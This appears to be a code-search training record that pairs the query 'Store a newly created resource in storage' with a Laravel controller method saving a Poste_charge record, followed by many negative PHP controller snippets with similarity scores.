sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $poste_charges = new Poste_charge(); $poste_charges->id_operation = $request->id_operation; $poste_charges->num_section = $request->num_section; $poste_charges->num_soussection = $request->num_soussection; $poste_charges->machine = $request->machine; $poste_charges->main_oeuvre = $request->main_oeuvre; $poste_charges->designation = $request->designation; $poste_charges->taux_horaire_forfait = $request->taux_horaire_forfait; $poste_charges->nbre_poste = $request->nbre_poste; $poste_charges->capacité_nominale = $request->capacité_nominale; $poste_charges->commentaire = $request->commentaire; $poste_charges->save(); return response()->json($poste_charges); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { $poste_charges = Poste_charge::findOrFail($id); return view('poste_charges.show', ['poste_charges' => $poste_charges]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 